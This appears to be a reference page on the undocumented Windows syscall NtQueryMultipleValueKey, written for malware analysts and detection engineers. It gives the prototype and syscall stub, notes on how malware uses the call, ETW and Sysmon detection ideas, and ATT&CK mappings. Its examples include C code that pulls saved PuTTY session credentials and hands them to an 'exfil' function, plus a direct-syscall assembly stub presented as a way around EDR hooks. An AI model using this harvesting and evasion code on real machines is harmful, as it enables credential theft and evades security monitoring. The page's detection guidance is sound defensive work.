NtQueryMultipleValueKey

Prototype

NTSTATUS NtQueryMultipleValueKey(
  HANDLE              KeyHandle,
  PKEY_VALUE_ENTRY    ValueEntries,
  ULONG               EntryCount,
  PVOID               ValueBuffer,
  PULONG              BufferLength,
  PULONG              RequiredBufferLength
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 61 01 00 00      mov eax, 0x161     ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

Backing syscall for `RegQueryMultipleValuesW`. The kernel walks the key's value list once, fetches all requested values into a single packed buffer under one hive lock, and returns offsets — strictly faster than N back-to-back `NtQueryValueKey` calls and, more importantly, *atomic* against concurrent writers. Each `KEY_VALUE_ENTRY` is `{ ValueName, DataLength, DataOffset, Type }`; the caller pre-populates `ValueName` (a `UNICODE_STRING*`), the kernel populates the other three.

Common malware usage

Credential harvesting and reconnaissance tools that target structured keys benefit from the atomicity. The textbook example is PuTTY saved sessions under `HKCU\Software\SimonTatham\PuTTY\Sessions\<name>` — `HostName`, `UserName`, `PortNumber`, `Protocol`, `PublicKeyFile` and `ProxyHost` can be pulled in a single call, ensuring the user can't rotate the session mid-read. WinSCP, FileZilla XML-via-INI fallbacks, and PowerShell ISE history paths in HKCU exhibit similar shapes. It is also a slightly less hooked path than `RegQueryValueExW`, which means it can be a marginal evasion win against EDRs that instrument advapi32 but not direct ntdll calls.

Detection opportunities

Volume of `NtQueryMultipleValueKey` calls is very low compared to `NtQueryValueKey`, which makes it relatively high-signal. ETW Microsoft-Windows-Kernel-Registry emits `EventID 4` (QueryValueKey) per *value* even for the multi-value path, so existing detections that key on access to `Software\SimonTatham\PuTTY` or `Software\Martin Prikryl` still fire. Sysmon Event 12/13 surface key opens against the credential paths. Process-correlation rules (`powershell.exe`/`rundll32.exe`/unsigned binary reading PuTTY sessions) carry the actual detection value.

Direct syscall examples

// HKCU\Software\SimonTatham\PuTTY\Sessions\<sessionName>
UNICODE_STRING n1, n2, n3, n4;
RtlInitUnicodeString(&n1, L"HostName");
RtlInitUnicodeString(&n2, L"UserName");
RtlInitUnicodeString(&n3, L"PortNumber");
RtlInitUnicodeString(&n4, L"PublicKeyFile");

KEY_VALUE_ENTRY entries[4] = {
    { &n1, 0, 0, 0 },
    { &n2, 0, 0, 0 },
    { &n3, 0, 0, 0 },
    { &n4, 0, 0, 0 },
};

UCHAR buf[2048];
ULONG bufLen = sizeof(buf), required = 0;
NTSTATUS st = NtQueryMultipleValueKey(hKey, entries, 4,
                                      buf, &bufLen, &required);
if (NT_SUCCESS(st)) {
    PWSTR host = (PWSTR)(buf + entries[0].DataOffset);
    PWSTR user = (PWSTR)(buf + entries[1].DataOffset);
    DWORD port = *(DWORD*)(buf + entries[2].DataOffset);
    PWSTR pkey = (PWSTR)(buf + entries[3].DataOffset);
    exfil(host, user, port, pkey);
}

; NtQueryMultipleValueKey direct syscall (Win11 24H2 SSN 0x161)
NtQueryMultipleValueKey PROC
    mov  r10, rcx
    mov  eax, 161h
    syscall
    ret
NtQueryMultipleValueKey ENDP

MITRE ATT&CK mappings

• T1552.002Unsecured Credentials: Credentials in Registrymitre ↗
• T1012Query Registrymitre ↗
• T1106Native APImitre ↗